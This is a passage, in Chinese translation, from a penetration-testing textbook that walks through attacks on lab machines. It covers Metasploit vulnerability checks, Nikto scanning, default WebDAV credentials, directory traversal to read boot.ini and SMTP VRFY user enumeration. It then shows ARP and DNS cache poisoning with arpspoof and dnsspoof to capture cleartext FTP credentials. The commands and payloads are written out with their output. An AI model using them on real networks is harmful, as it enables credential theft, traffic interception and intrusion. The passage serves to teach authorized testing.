msf > **use scanner/ftp/anonymous**

msf  auxiliary(anonymous) > **set RHOSTS 192.168.20.10-11**
RHOSTS => 192.168.20.10-11
msf  auxiliary(anonymous) > **exploit**

[*] 192.168.20.10:21 Anonymous READ (220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de) ❶
220 Please visit http://sourceforge.net/projects/filezilla/)
[*] Scanned 1 of 2 hosts (050% complete)
[*] 192.168.20.11:21 Anonymous READ (220 (vsFTPd 2.3.4)) ❶
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(anonymous) >

在❶时，我们发现 Windows XP 和 Linux 目标都启用了匿名 FTP。我们知道这可能是一个严重问题，也可能不是，具体取决于匿名用户在 FTP 文件夹中可以访问的文件。我曾参与过一些项目，其中公司的商业机密就暴露在一个面向互联网的 FTP 服务器上。另一方面，我也参与过一些项目，其中从商业角度看，使用匿名 FTP 是合理的，并且没有敏感文件存在。作为渗透测试人员，需要填补自动化扫描工具在特定环境中缺乏的有关问题严重性的信息。

Metasploit 漏洞利用检查函数

一些 Metasploit 漏洞利用模块包括一个check函数，它会连接到目标服务器检查其是否存在漏洞，而不是直接尝试利用漏洞。我们可以将这个命令当作一种临时的漏洞扫描工具，如示例 6-8 所示。（运行check时无需指定有效载荷，因为不会进行漏洞利用。）

示例 6-8. MS08-067 检查函数

msf > **use windows/smb/ms08_067_netapi**

msf  exploit(ms08_067_netapi) > **set RHOST 192.168.20.10**
RHOST => 192.168.20.10
msf  exploit(ms08_067_netapi) > **check**❶

[*] Verifying vulnerable status... (path: 0x0000005a)
[+] The target is vulnerable.❷
msf  exploit(ms08_067_netapi) >

当我们运行漏洞check ❶时，Metasploit 会告诉我们我们的 Windows XP 目标存在 MS08-067 漏洞 ❷，正如预期的那样。

不幸的是，并不是所有 Metasploit 模块都有check函数。（如果你尝试在不支持的模块上运行check，Metasploit 会告知你。）例如，根据我们在上一章中进行的 Nmap 版本扫描结果，Windows XP 目标邮件服务器似乎过时，并且可能存在安全问题。SLMail 版本 5.5.0.4433 有一个已知的可利用漏洞——CVE-2003-0264——因此我们可以通过在 Msfconsole 中搜索cve:2003-0264来轻松找到它。

一旦进入模块上下文，我们就可以测试check命令，如示例 6-9 所示。

示例 6-9. SLMail 模块没有检查函数。

msf  exploit(seattlelab_pass) > **set RHOST 192.168.20.10**
rhost => 192.168.20.10
msf  exploit(seattlelab_pass) > **check**
[*] This exploit does not support check.
msf  exploit(seattlelab_pass) >

事实证明，这个漏洞利用模块没有实现check函数，因此我们无法得到服务是否存在漏洞的确凿保证。虽然根据其横幅版本号，我们的 SLMail POP3 服务器看起来可能存在漏洞，但我们无法从 Metasploit 获得确认。在这种情况下，我们可能无法确定漏洞是否存在，除非运行一个漏洞利用程序。

Web 应用程序扫描

尽管客户的定制应用程序可能存在安全问题，但您的目标系统也可能部署了预构建的 web 应用程序，如工资单应用、网页邮件等，这些应用也可能存在相同的安全问题。如果我们能够找到已知的易受攻击软件实例，可能能够利用它在远程系统中获得立足点。

在许多外部渗透测试中，web 应用程序问题尤其值得关注，因为您的攻击面可能仅限于 web 服务器。例如，正如您在图 6-14 中看到的，访问我们 Linux 目标的 web 服务器的默认网页会显示一个默认的 Apache 安装页面。

图 6-14. 默认 Apache 页面

除非我们能在底层 web 服务器软件中找到漏洞，否则很难利用一个简单的页面，它只显示“它工作了！”不过，在我们放弃这个服务之前，让我们使用 web 扫描器查找其他可能我们无法看到的页面。

Nikto

Nikto 是 Kali 中内置的 web 应用程序漏洞扫描器，类似于 Nessus 但专门针对 web 应用：它查找诸如危险文件、过时版本和配置错误等问题。为了在我们的 Linux 目标上运行 Nikto，我们使用 -h 标志指定扫描的主机，如示例 6-10 所示。

示例 6-10. 运行 Nikto

root@kali:/# nikto -h 192.168.20.11
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          192.168.20.11
+ Target Hostname:    192.168.20.11
+ Target Port:        80
+ Start Time:         2015-12-28 21:31:38 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch
--*snip*--
+ OSVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=http://cirt.net/rfiinc.txt?: TikiWiki contains a vulnerability which allows remote attackers to execute arbitrary PHP code. ❶
+ 6474 items checked: 2 error(s) and 7 item(s) reported on remote host
+ End Time:           2015-12-28 21:32:41 (GMT-5) (63 seconds)

手动浏览每个已知漏洞应用程序的默认安装路径将是一个艰巨的任务，但幸运的是，Nikto 会寻找那些可能不显而易见的 URL。这里有一个特别有趣的发现，那就是服务器上存在一个易受攻击的 TikiWiki 软件安装 ❶。果然，如果我们访问 192.168.20.11/tikiwiki/，就能找到该 CMS 软件。Nikto 认为这个安装存在代码执行漏洞，进一步分析开放源码漏洞数据库（OSVDB）条目 40478 显示，这个问题有一个 Metasploit 漏洞，可以在利用过程中使用。

注意

OSVDB (osvdb.com/) 是一个专门针对开源软件（如 TikiWiki）的漏洞库，提供了各种产品的详细信息。可以使用它来搜索关于您发现的潜在问题的更多信息。

攻击 XAMPP

当我们浏览到 Windows XP web 服务器时，看到在 http://192.168.20.10/ 的默认网页上显示其自称为 XAMPP 1.7.2。

默认情况下，XAMPP 安装包包含了 phpMyAdmin，这是一个数据库管理网页应用程序。理想情况下，phpMyAdmin 不应该通过网络公开，或者至少应该要求凭证才能访问它。但在这个版本的 XAMPP 中，位于 192.168.20.10/phpmyadmin/ 的 phpMyAdmin 安装是开放且可用的。更糟糕的是，phpMyAdmin 允许我们在同一台 MySQL 服务器上获得 root 访问权限，而 NSE 提示我们无法连接到该服务器。通过使用 phpMyAdmin（如图 6-15 所示），我们可以绕过这一限制，并在服务器上执行 MySQL 查询。

图 6-15. 打开的 phpMyAdmin 控制台因配置问题大声抱怨。

默认凭证

除了包含 phpMyAdmin，Google 搜索还告诉我们，XAMPP 1.7.3 及更早版本包含了 Web 分布式创作和版本控制（WebDAV）软件，用于通过 HTTP 管理网页服务器上的文件。XAMPP 的 WebDAV 安装使用默认的用户名和密码 wampp:xampp。如果这些值没有被更改，任何可以访问 WebDAV 的人都可以登录，篡改网站，甚至可能上传脚本，允许攻击者通过网页服务器获取系统的立足点。正如你在图 6-16 中看到的，WebDAV 确实出现在这台服务器上。

图 6-16. WebDAV 安装

我们可以使用工具 Cadaver 与 WebDAV 服务器交互。在示例 6-11 中，我们使用 Cadaver 尝试连接到 http://192.168.20.10 上的 WebDAV 服务器，并测试默认凭证集。

示例 6-11. 使用 Cadaver

root@kali:/# cadaver http://192.168.20.10/webdav
Authentication required for XAMPP with WebDAV on server `192.168.20.10':
Username: wampp
Password:
dav:/webdav/> ❶

Cadaver 登录成功 ❶。我们的 Windows XP 目标使用了 WebDAV 的默认凭证，我们将能够利用这一点。现在我们已经获得了 WebDAV 的访问权限，我们可以向网页服务器上传文件。

手动分析

有时候，没有什么解决方案能比手动漏洞分析更有效，去看一个服务是否会导致系统被攻破，而且没有比实践更好的提高方式。接下来的章节中，我们将探索一些通过端口和漏洞扫描获得的有前景的线索。

探索一个奇怪的端口

在我们的自动扫描中，有一个端口没有被检测到，那就是我们 Windows 目标机器上的 3232 端口。如果你尝试使用 Nmap 版本扫描来扫描这个端口（如我们在第五章末尾所做的那样），你会注意到它会崩溃。这种行为表明，监听程序是为了接收特定的输入而设计的，并且它在处理其他内容时遇到了困难。

这种行为对渗透测试人员很有趣，因为在处理格式错误的输入时崩溃的程序未能正确验证输入。回想一下第五章中，我们在程序崩溃的过程中，输出让我们认为该软件是一个 Web 服务器。使用浏览器连接到该端口，如图 6-17 所示，可以确认这一点。

图 6-17。端口 3232 上的 Web 服务器

提供的网页没有告诉我们太多信息，但我们可以从这里手动使用 Netcat 连接到该端口。我们知道这是一个 Web 服务器，因此我们将以 Web 服务器的方式与之通信。我们知道可以浏览到默认网页，因此我们可以输入GET / HTTP/1.1请求 Web 服务器提供默认页面（见示例 6-12）。

示例 6-12。使用 Netcat 连接到端口

root@kali:~# nc 192.168.20.10 3232
**GET / HTTP/1.1**
HTTP/1.1 200 OK
Server: Zervit 0.4 ❶
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 36

<html>
<body>
hi
</body>
</html>root@bt:~#

服务器将自己标识为 Zervit 0.4 ❶。对于这款软件来说情况不妙，因为在 Google 上搜索 Zervit 0.4 时，第一个自动补全的条目是“Zervit 0.4 exploit”（Zervit 0.4 漏洞）。这款 Web 服务器软件存在多个安全问题，包括缓冲区溢出和本地文件包含漏洞，这使我们能够提供系统上的其他文件。由于这个服务非常敏感，最好避免进行缓冲区溢出攻击，因为一个错误的操作可能会导致它崩溃。另一方面，本地文件包含漏洞看起来很有前景。我们知道服务器可以处理 HTTP GET请求。例如，我们可以通过GET命令回退五个目录到 C 盘来下载 Windows XP 的boot.ini文件，如示例 6-13 所示。

示例 6-13。Zervit 0.4 中的本地文件包含

root@kali:~# nc 192.168.20.10 3232
**GET /../../../../../boot.ini HTTP/1.1**
HTTP/1.1 200 OK
Server: Zervit 0.4
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 211

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home Edition" /fastdetect /NoExecute=OptIn

我们能够下载boot.ini，这是一个配置文件，告诉 Windows 在启动时显示哪些操作系统选项。我们将在第八章中使用这个本地文件包含漏洞下载更多敏感文件。

查找有效用户名

如果我们知道服务的有效用户名，成功进行密码攻击的机会可以大大增加。（我们将在第九章中详细探讨这一点。）一种找到邮件服务器有效用户名的方法是使用VRFY SMTP命令，如果该命令可用的话。顾名思义，VRFY用于验证用户是否存在。NSE 在上一章中发现VRFY动词在 Windows XP 目标机器上是启用的。使用 Netcat 连接到 TCP 端口 25，并使用VRFY检查用户名，如示例 6-14 所示。

示例 6-14。使用SMTP VRFY命令

root@kali:~# nc 192.168.20.10 25
220 georgia.com SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here
**VRFY georgia**
250 Georgia<georgia@>
**VRFY john**
551 User not local

使用VRFY我们发现georgia是一个有效的用户名，但没有名为john的用户。我们将在第九章中讨论如何使用有效的用户名尝试猜测密码。

总结

在本章中，我们介绍了多种方法来发现我们目标上的可利用漏洞。通过使用多种工具和技术，我们能够找到多种攻击我们目标的方式，包括我们常用的 MS08-067 漏洞攻击 Windows XP SMB 服务器，以及 Zervit 0.4 Web 服务器上的本地文件包含漏洞，允许我们下载系统文件。使用VRFY，我们发现了一个有效的用户名，可以用于对邮件服务器进行密码猜测攻击。

我们了解到，SLMail 服务器的 POP3 服务可能存在漏洞，基于其报告的版本号（尽管我们无法确定这一点），此外，我们在 Web 服务器上发现了一个开放的 phpMyAdmin 安装，给我们提供了对底层数据库的 root 访问权限，还发现了一个默认凭据的 XAMPP 安装，这使得我们可以将文件上传到 Web 服务器。在 Linux 目标上，我们发现了一个具有写权限的 NFS 共享，使我们能够写入用户的.ssh目录，同时还发现了一个不太显眼的 TikiWiki 安装，它似乎包含一个代码执行漏洞。Vsftpd 2.3.4 FTP 服务器可能由于 Vsftpd 存储库的被攻破，存在一个隐藏的后门。

在本书的这一部分，我们可以看到我们的 Windows XP 和 Linux 目标机器存在许多问题。我们的 Windows 7 目标缺乏攻击面，看起来相当安全，但正如我们稍后将看到的，那坚固的外壳下隐藏着一些漏洞。在我们开始利用这些漏洞之前，下一章将讨论如何捕获流量以获取敏感信息，如登录凭据。

第七章捕获流量

在我们进入利用阶段之前，我们将使用 Wireshark 监控工具以及其他工具来嗅探和操控流量，以从本地网络中的其他机器中获取有用的信息。在一次内部渗透测试中，当我们模拟内部威胁或攻击者突破防线时，捕获网络中其他系统的流量可以为我们提供额外的有趣信息（甚至可能是用户名和密码），帮助我们进行进一步的利用。问题在于，捕获流量可能会产生大量潜在有用的数据。仅仅捕获家用网络上的所有流量就可能迅速填满多个 Wireshark 窗口，而且发现哪些流量对渗透测试有用可能会很困难。在本章中，我们将探讨几种操控网络以获取我们本不该能看到的流量的方法。

捕获流量的网络设置

如果你发现自己处于一个使用集线器而不是交换机的网络中，捕获不属于你机器的流量将变得非常容易，因为当网络集线器接收到一个数据包时，它会将其在所有端口上重新广播，由每个设备决定该数据包属于谁。在一个使用集线器的网络中，捕获其他系统的流量就像在 Wireshark 中选择“在所有接口上使用混杂模式”一样简单。这会告诉我们的网络接口控制器（NIC）抓取它看到的所有内容，而在集线器网络中，这将是每个数据包。

与集线器不同，交换机会将流量仅发送到目标系统，因此在交换机网络中，我们将无法看到例如域控制器的所有进出流量，除非通过某种方式让网络将这些流量发送给我们。你在渗透测试中遇到的大多数网络可能都是交换机网络；即使是一些标榜为集线器的老旧网络硬件，也可能具备交换机的功能。

虚拟网络看起来像是集线器，因为你所有的虚拟机共享一个物理设备。如果你在虚拟网络中以混杂模式捕获流量，即使你在环境中使用的是交换机而不是集线器，你也可能能够看到来自每个虚拟机以及主机的流量。为了模拟一个非虚拟化的网络，我们将在 Wireshark 中关闭“在所有接口上使用混杂模式”，这意味着我们需要更加努力地捕获目标虚拟机的流量。

使用 Wireshark

Wireshark 是一个图形化网络协议分析工具，可以让我们深入查看在网络中流动的每一个数据包。Wireshark 可以用于捕获以太网、无线、蓝牙以及其他多种类型的流量。它可以解码它所看到的不同协议，因此你可以重建例如语音传输协议（VoIP）电话通话的音频。让我们来看看使用 Wireshark 捕获和分析流量的基础。

捕获流量

让我们先用 Wireshark 捕获本地网络上的流量。在 Kali 中启动 Wireshark，如图所示。点击任何有关以 root 用户身份使用 Wireshark 的警告提示。

root@kali:~# wireshark

告诉 Wireshark 在本地网络接口（eth0）上捕获流量，方法是选择 Capture ▸ Options，然后选择 eth0 选项，如图 7-1 中所示。记得取消勾选“在所有接口上使用混杂模式”选项，这样捕获的结果将类似于物理交换网络，而不是 VMware 网络。退出选项菜单。最后，点击 Capture ▸ Start 开始捕获流量。

你应该开始看到传入的流量，并且能够捕获所有发往 Kali 机器的流量以及任何广播流量（发送到整个网络的流量）。

图 7-1. 开始 Wireshark 捕获

为了说明我们可以在交换网络中捕获的流量，让我们从 Kali 机器通过 FTP 联系 Windows XP 目标机器。按照示例 7-1 中的步骤以 anonymous 身份登录，以查看在 Wireshark 中捕获的流量。（在上一章中，我们发现 anonymous 用户在 Windows XP 目标机器上是被允许的。尽管 anonymous 需要输入密码，但密码无关紧要。传统上，它是一个电子邮件地址，但 FTP 服务器会接受你输入的任何内容。）

示例 7-1. 通过 FTP 登录

root@kali:~# ftp 192.168.20.10
Connected to 192.168.20.10.
220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.20.10:root): **anonymous**
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
ftp>

你应该在 Wireshark 中看到来自 IP 地址 192.168.20.9 到 192.168.20.10 以及反方向的封包，协议字段显示为 FTP。Wireshark 正在捕获从我们的 Kali 机器进出流量。

切换到你的 Ubuntu Linux 目标机器，并登录到 Windows XP 目标上的 FTP 服务器。在 Kali 的 Wireshark 中，你应该看到没有捕获到额外的 FTP 封包。在我们模拟的交换网络中，任何不针对 Kali 机器的流量都不会被网络接口看到，因此也不会被 Wireshark 捕获。（我们将在 ARP 缓存中毒中学习如何解决这个问题并捕获其他系统的流量。）

过滤流量

Wireshark 捕获的网络流量量庞大，可能会让人感到有些不知所措，因为除了我们的 FTP 流量外，所有进出 Kali 系统的数据包都会被捕获。为了找到特定的有趣数据包，我们可以使用 Wireshark 的过滤器。过滤器字段位于 Wireshark 界面左上方。作为第一个简单的 Wireshark 过滤示例，我们可以查找所有使用 FTP 协议的流量。在过滤器字段中输入ftp并点击应用，如图 7-2 所示。

图 7-2. 在 Wireshark 中过滤流量

正如预期的那样，Wireshark 会过滤捕获的数据包，仅显示使用 FTP 协议的数据包。我们可以看到整个 FTP 会话，包括明文的登录信息。

我们可以使用更高级的过滤器来进一步调整返回的数据包。例如，我们可以使用过滤器ip.dst==192.168.20.10来只返回目标 IP 地址为 192.168.20.10 的包。我们甚至可以将过滤器链在一起使用，例如使用过滤器ip.dst==192.168.20.10 and ftp来查找仅针对 192.168.20.10 的 FTP 流量。

跟踪 TCP 流

即使在过滤流量之后，仍然可能在相同时间段内捕获到多个 FTP 连接，因此可能仍然难以了解发生了什么。但一旦我们找到一个有趣的数据包，比如 FTP 登录的开始，我们可以通过右键单击数据包并选择跟踪 TCP 流来深入查看会话，如图 7-3 所示。

图 7-3. 在 Wireshark 中跟踪 TCP 流

结果界面会显示我们整个 FTP 连接的内容，包括其中的明文凭据，如示例 7-2 所示。

示例 7-2. FTP 登录对话

220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
USER anonymous
331 Password required for anonymous
PASS georgia@bulbsecurity.com
230 Logged on
SYST
215 UNIX emulated by FileZilla

解剖数据包

通过选择特定的捕获数据包，我们可以获得有关捕获数据的更多信息，如图 7-4 所示。在 Wireshark 界面底部，你可以看到所选数据包的详细信息。在一点点引导下，Wireshark 会为你分解数据。例如，我们可以通过选择 TCP 条目并查找目标端口（Destination port）轻松找到 TCP 目标端口，如图中高亮显示的部分。当我们选择这个字段时，数据包原始字节中的对应条目也会被高亮显示。

图 7-4. Wireshark 中的数据包详情

ARP 缓存中毒

虽然看到我们自己流量的详细信息很不错，但对于渗透测试目的来说，最好看到那些不打算发送到我们 Kali 系统的流量。也许我们能够捕获另一个用户的登录会话，该会话使用的是除匿名之外的帐户登录；这将为我们提供 FTP 服务器的有效凭据，并且可能会有一组凭据可以在环境中的其他地方被重用。

为了捕获不打算发送到 Kali 系统的流量，我们需要找到一种方法将相关数据发送到我们的 Kali 系统。由于网络交换机会只发送属于我们的数据包，我们需要欺骗目标机器或交换机（或者最好是两者），让它们相信这些流量属于我们。我们将执行一种所谓的中间人攻击，这将允许我们在将数据包转发到正确的目的地之前，重定向并拦截两个系统之间的流量（不包括我们自己的系统）。一种经验证有效的技术是伪装成网络上的其他设备，这被称为地址解析协议（ARP）缓存投毒（也叫ARP 欺骗）。

ARP 基础

当我们连接到本地网络上的另一台机器时，通常会使用它的主机名、完全限定域名或 IP 地址。（我们将在 DNS 缓存投毒中讨论域名服务器缓存投毒。）在数据包从我们的 Kali 机器发送到 Windows XP 目标之前，Kali 必须将 XP 目标机器的 IP 地址映射到网络接口卡（NIC）的媒体访问控制（MAC）地址，以便 Kali 知道将数据包发送到网络的哪个位置。为此，它使用 ARP 广播“谁拥有 IP 地址 192.168.20.10？”在本地网络上。拥有 IP 地址 192.168.20.10 的机器回复：“我有 192.168.20.10，我的 MAC 地址是 00:0c:29:a9:ce:92。”在我们的案例中，这将是 Windows XP 目标。我们的 Kali 系统将在其 ARP 缓存中存储从 IP 地址 192.168.20.10 到 MAC 地址 00:0c:29:a9:ce:92 的映射。

当它发送下一个数据包时，我们的机器将首先查找其 ARP 缓存中是否有 192.168.20.10 的条目。如果找到，它将使用该条目作为目标地址，而不是发送另一个 ARP 广播。（ARP 缓存条目会定期被清除，因为网络拓扑可能随时发生变化。）因此，系统会定期发送 ARP 广播，因为它们的缓存会被清空。这个过程将在我们下一节进行 ARP 缓存投毒时派上用场。ARP 过程在图 7-5 中进行了说明。

图 7-5. ARP 解析过程

要查看 Kali 机器中的 ARP 缓存，输入arp。目前，它只知道 192.168.20.1（默认网关）和 192.168.20.10（我们在上一个练习中使用的 Windows XP 机器）这两个 IP 地址到 MAC 地址的映射。

root@kali:~# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.20.1             ether   00:23:69:f5:b4:29   C                     eth0
192.168.20.10            ether   00:0c:29:05:26:4c   C                     eth0

现在重新启动 Wireshark 捕获，并使用匿名登录再次与 Ubuntu 目标的 FTP 服务器交互。接下来，使用arp过滤器，如图 7-6 所示，查看来自 Kali 机器的 ARP 广播以及来自 Ubuntu 目标的带有其 MAC 地址的应答。

图 7-6。ARP 广播和应答

再次检查你的 Kali Linux 的 ARP 缓存。你应该能看到 192.168.20.10 的条目。

root@kali:~# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.20.1             ether   00:23:69:f5:b4:29   C                     eth0
192.168.20.10            ether   00:0c:29:05:26:4c   C                     eth0
192.168.20.11            ether   80:49:71:14:97:2b   C                     eth0

依赖 ARP 进行地址解析的问题在于，无法保证你得到的 IP 地址与 MAC 地址的映射是正确的。任何机器都可以回应 192.168.20.11 的 ARP 请求，即使那台机器的实际 IP 地址是 192.168.20.12 或其他任何地址。目标机器会接受这个应答，无论其是否正确。

这就是 ARP 缓存中毒的基本原理。我们发送一系列的 ARP 应答，告诉目标我们是网络中的另一台机器。因此，当目标机器发送本应发送给那台机器的流量时，它将把数据包直接发送给我们，由我们的流量嗅探器捕获，如图 7-7 所示。

回想一下第七章中，我们从 Ubuntu 目标机器发起了一个 FTP 连接到 Windows XP 目标机器，但该连接中的流量并未被 Wireshark 在我们的 Kali 系统上捕获。通过使用 ARP 缓存中毒攻击，我们可以欺骗这两台系统，将它们的流量发送到我们的 Kali 机器，从而在 Wireshark 中捕获。

图 7-7。ARP 缓存中毒通过 Kali 重定向流量。

IP 转发

但是在我们能够欺骗 Linux 目标将 FTP 服务器的凭证发送给我们之前，我们需要启用 IP 转发，告诉我们的 Kali 机器将它接收到的任何额外数据包转发到正确的目的地。如果没有 IP 转发，我们将会在网络上创建拒绝服务（DoS）状态，导致合法客户端无法访问服务。例如，如果我们在没有 IP 转发的情况下使用 ARP 缓存中毒，将 Linux 目标的流量重定向到我们的 Kali 机器，原本应发送到 Windows XP 目标的流量，Windows XP 机器上的 FTP 服务器将永远无法接收到来自 Linux 机器的数据包，反之亦然。

Kali 中 IP 转发的设置在/proc/sys/net/ipv4/ip_forward。我们需要将此值设置为1。

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

在开始 ARP 缓存中毒之前，请注意 Linux 目标 ARP 缓存中 Windows XP 目标（192.168.20.10）的条目。开始 ARP 缓存中毒后，这个值将更改为 Kali 机器的 MAC 地址。

georgia@ubuntu:~$ **arp -a**
? (192.168.20.1) at 00:23:69:f5:b4:29 [ether] on eth2
? (192.168.20.10) at 00:0c:29:05:26:4c [ether] on eth0
? (192.168.20.9) at 70:56.81:b2:f0:53 [ether] on eth2

使用 Arpspoof 进行 ARP 缓存中毒

一个易于使用的 ARP 缓存中毒工具是 Arpspoof。使用 Arpspoof 时，我们需要告诉它使用哪个网络接口、ARP 缓存中毒攻击的目标是什么，以及我们想要伪装成的 IP 地址。（如果你不指定目标，它将中毒整个网络。）在我们的示例中，为了让 Linux 目标误以为我们是 Windows XP 机器，我将-i选项设置为 eth0 以指定接口，将-t选项设置为 192.168.20.11 来指定目标为 Linux 机器，将 192.168.20.10 设置为我想要伪装成的 Windows XP 机器。

root@kali:~# arpspoof -i eth0 -t 192.168.20.11 192.168.20.10

Arpspoof 立即开始向 Linux 目标发送 ARP 响应，通知它 Windows XP 机器位于 Kali 机器的 MAC 地址上。（ARP 缓存条目的更新时间在不同实现中有所不同，但等待一分钟是一个安全的时间。）

为了捕获对话的另一端，我们需要让 Windows XP 机器也将原本应发送到 Linux 目标的流量发送到 Kali 机器。启动另一个 Arpspoof 实例，这次将目标设置为 Windows XP 机器，接收方设置为 Linux 机器。

root@kali:~#  **arpspoof -i eth0 -t 192.168.20.10 192.168.20.11**

一旦开始 ARP 缓存中毒，再次检查 Linux 目标的 ARP 缓存。请注意，Windows XP 目标关联的 MAC 地址已经更改为 70:56:81:b2:f0:53\。Linux 目标应该会将所有原本应发送到 Windows XP 目标的流量发送到 Kali 机器，我们可以在 Wireshark 中捕获这些流量。

georgia@ubuntu:~$ **arp -a**
? (192.168.20.1) at 00:23:69:f5:b4:29 [ether] on eth0
? (192.168.20.10) at 70:56:81:b2:f0:53 [ether] on eth0

现在，从 Linux 目标使用另一个账户登录 Windows XP 目标的 FTP 服务器（参见示例 7-3）。（如果你按照我在第一章中的说明设置了georgia:password，那么这个账户可以使用。如果你设置了其他凭据，请使用那些凭据。）

示例 7-3. 使用用户账户从 Ubuntu 目标登录 Windows XP 的 FTP

georgia@ubuntu:~$ **ftp 192.168.20.10**
Connected to 192.168.20.10.
220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.20.10:georgia): georgia
331 Password required for georgia
Password:
230 Logged on
Remote system type is UNIX.

因为我们启用了 IP 转发，所以从用户的角度来看，一切似乎都正常。回到 Wireshark，我们看到这次我们能够捕获 FTP 流量并读取明文登录凭证。Wireshark 显示的输出（见图 7-8）确认我们的 Kali 机器正在转发两台目标之间的 FTP 流量。在每个 FTP 数据包后面，都有一个重传数据包。

图 7-8. Wireshark 捕获登录信息。

使用 ARP 缓存中毒来冒充默认网关

我们还可以使用 ARP 缓存中毒来冒充网络上的默认网关，访问进出网络的流量，包括目标是互联网的流量。停止你正在运行的 Arpspoof 进程，然后尝试通过冒充默认网关，欺骗 Linux 目标将所有流量路由到 Kali 机器，如下所示。

root@kali:~# arpspoof -i eth0 -t 192.168.20.11 192.168.20.1

root@kali:~# arpspoof -i eth0 -t 192.168.20.1 192.168.20.11

如果我们从 Linux 目标开始浏览互联网，我们应该能看到 Wireshark 捕获的 HTTP 数据包。即使敏感信息使用 HTTPS 加密，我们仍然可以看到用户访问的站点以及任何通过 HTTP 发送的其他信息。例如，如果我们运行一个 Google 查询，查询的明文内容将被 Wireshark 捕获，如图 7-9 所示。

注意

如果你使用 ARP 缓存中毒让一个大型网络误认为你的渗透测试机器是默认网关，你可能会不自觉地引发网络问题。所有经过一个笔记本电脑（或者更糟，一个虚拟机）的网络流量，可能会导致某些情况下的服务拒绝，甚至让网络速度变得非常缓慢。

图 7-9. 查询被 Wireshark 捕获

DNS 缓存中毒

除了 ARP 缓存中毒，我们还可以中毒域名服务（DNS）缓存条目（即从域名到 IP 地址的映射），将原本应该访问其他网站的流量引导到我们控制的网站。就像 ARP 将 IP 地址解析为 MAC 地址以正确路由流量一样，DNS 将域名（例如 www.gmail.com）解析为 IP 地址。

为了访问互联网上或本地网络中的另一个系统，我们的机器需要知道要连接的 IP 地址。如果我们想访问我们的网页邮件账户，记住 URL www.gmail.com 很容易，但记住一堆 IP 地址就很困难，而且这些地址可能会定期更改。DNS 解析将人类可读的域名转换为 IP 地址。例如，我们可以使用工具 Nslookup 将 www.gmail.com 转换为 IP 地址，如示例 7-4 所示。

示例 7-4. Nslookup DNS 解析

root@kali~# nslookup www.gmail.com
Server: 75.75.75.75
Address: 75.75.75.75#53

Non-authoritative answer:
www.gmail.com canonical name = mail.google.com.
mail.google.com canonical name = googlemail.l.google.com.
Name:     googlemail.l.google.com
Address: 173.194.37.85
Name:     googlemail.l.google.com
Address: 173.194.37.86

如你所见，Nslookup 将* www.gmail.com 转换为多个 IP 地址，包括 173.194.37.85 和 173.194.37.86，我们可以使用这些地址访问 Gmail。为了执行 DNS 解析（图 7-10），我们的系统查询其本地 DNS 服务器以获取有关特定域名的信息，如 www.gmail.com *。如果 DNS 服务器有该地址的缓存条目，它会返回正确的 IP 地址。如果没有，它会联系互联网上的其他 DNS 服务器寻找正确的信息。

当返回正确的 IP 地址时，DNS 服务器会将正确的 IP 地址解析结果写回我们的机器，对于* www.gmail.com ，我们的系统随后将 www.gmail.com 转换为 173.194.37.85，如示例 7-4 所示。用户然后可以通过名称访问 www.gmail.com *，无需使用 IP 地址。

图 7-10. DNS 解析

入门

DNS 缓存中毒的工作原理类似于 ARP 缓存中毒：我们发送一系列虚假的 DNS 解析回复，将域名指向错误的 IP 地址。

现在确保 Apache 服务器正在运行，使用命令service apache2 start。

root@kali:~# service apache2 start
 * Starting web server apache2                                           [ OK ]

在使用 DNS 缓存中毒工具之前，我们需要创建一个文件，指定我们希望伪造的 DNS 名称以及流量的发送位置。例如，让我们告诉任何进行 DNS 解析的系统，对于* www.gmail.com ，该域名的 IP 地址是我们的 Kali 机器，通过将条目192.168.20.9 www.gmail.com添加到一个名为hosts.txt*的新文件中。（你可以随意命名文件。）

root@kali:~# cat hosts.txt
192.168.20.9 www.gmail.com

使用 Dnsspoof

在 Linux 目标机和默认网关之间重新启动 Arpspoof，反之亦然，正如使用 ARP 缓存中毒伪装默认网关中所讨论的那样。现在我们可以开始使用 Dnsspoof DNS 伪造工具发送 DNS 缓存中毒尝试，如下所示。

root@kali:~# dnsspoof -i eth0❶ **-f hosts.txt**❷
dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.20.9]
192.168.20.11 > 75.75.75.75.53:  46559+ A? www.gmail.com

我们指定要使用的网络接口❶，并将 Dnsspoof 指向我们刚刚创建的文件（hosts.txt）❷，告诉它需要伪造哪些值。

一旦 Dnsspoof 运行，当我们在 Linux 目标机上执行nslookup命令时，返回的 IP 地址应该是我们的 Kali 机器的地址，如示例 7-5 所示。这显然不是 Gmail 的真实 IP 地址。

示例 7-5. 攻击后的 Nslookup

georgia@ubuntu:~$ **nslookup www.gmail.com**
Server: 75.75.75.75
Address: 75.75.75.75#53

Non-authoritative answer:
Name:     www.gmail.com
Address: 192.168.20.9

为了演示这个攻击，设置一个网站来引导流量。Kali 中的 Apache 服务器默认会为任何访问者提供一个 “It Works” 页面。我们可以更改文件夹 /var/www 中 index.html 文件的内容，但默认的 “It Works” 文本对于我们的目的来说已经足够。

